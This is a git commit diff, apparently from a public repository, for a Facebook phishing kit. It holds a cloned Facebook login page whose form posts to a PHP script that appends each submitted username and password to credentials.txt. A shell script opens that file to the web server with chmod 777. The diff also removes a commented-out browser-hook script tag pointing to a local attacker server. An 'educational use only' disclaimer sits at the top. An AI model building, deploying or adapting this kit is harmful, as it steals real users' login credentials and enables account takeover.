A Simple Facebook Phishing Page • For educational use only • The author is not responsible for illegal misuse.

Code Refactored

+27 -9
+1 -1
.gitignore
··· 1 - credentials.txt 1 + **/credentials.txt
+8
README.md
··· 1 1 # Facebook Phishing Page 2 + 3 + A simple phishing Page using php 4 + 5 + - Full permission to credentials.txt 6 + ````shell 7 + sudo chmod u+x config/allow_credentials.sh 8 + ./config/allow_credentials.sh 9 + ``
+11
config/allow_credentials.sh
··· 1 + #!/bin/bash 2 + 3 + sudo echo 4 + 5 + echo "Changing the owner of credentials to server www-data..." 6 + sudo chown www-data:www-data credentials.txt 7 + 8 + echo "Changing the permission of credentials to full..." 9 + sudo chmod 777 credentials.txt 10 + 11 + echo "Full Access to credentials.txt"
+1 -1
facebook.php app/controllers/facebook.php
··· 7 7 $password = $_POST['password']; 8 8 } 9 9 10 - $file = fopen('credentials.txt', 'a'); 10 + $file = fopen('../../credentials.txt', 'a'); 11 11 if ($file) { 12 12 // Set the GMT offset to +3 13 13 $gmt = 3;
fonts/Helvetica-Bold.ttf assets/fonts/Helvetica-Bold.ttf
fonts/Helvetica.ttf assets/fonts/Helvetica.ttf
img/facebook.png assets/img/facebook.png
img/fb.png assets/img/fb.png
img/logo.svg assets/img/logo.svg
+5 -6
index.html
··· 5 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 7 <title>Facebook – Log in or Sign up</title> 8 - <link rel="stylesheet" href="styles/default.css"> 9 - <link rel="stylesheet" href="styles/style.css"> 10 - <link rel="icon" href="img/facebook.png" type="image/x-icon"> 8 + <link rel="stylesheet" href="assets/styles/default.css"> 9 + <link rel="stylesheet" href="assets/styles/style.css"> 10 + <link rel="icon" href="assets/img/facebook.png" type="image/x-icon"> 11 11 </head> 12 12 <body> 13 13 <div class="login"> ··· 16 16 <div class="col-7"> 17 17 <div class="align-center"> 18 18 <div class="content"> 19 - <img src="img/logo.svg" alt="" style="transform: scale(2); margin-left: 2.6rem;"> 19 + <img src="assets/img/logo.svg" alt="" style="transform: scale(2); margin-left: 2.6rem;"> 20 20 <p> 21 21 Connect with friends and the world<br> 22 22 around you on Facebook. ··· 26 26 </div> 27 27 <div class="col-5 col-xs-12"> 28 28 <div class="login-form"> 29 - <form action="facebook.php" method="post"> 29 + <form action="app/controllers/facebook.php" method="post"> 30 30 <input id="email" type="text" placeholder="Email address or phone number" name="username"><br> 31 31 <input id="pass" type="password" placeholder="Password" name="password"><br> 32 32 <button id="login-btn" type="submit">Log In</button><br> ··· 46 46 </div> 47 47 </div> 48 48 </body> 49 - <!-- <script src="http://192.168.100.77:3000/hook.js"></script> --> 50 49 </html>
+1 -1
styles/default.css assets/styles/default.css
··· 12 12 --green: #36A420; 13 13 --black:#1C1E21; 14 14 --b:1px solid blue; 15 - --outline: #1877F2; 15 + --outline: #1877F2; 16 16 } 17 17 @font-face { 18 18 font-family: 'helvetica';
styles/style.css assets/styles/style.css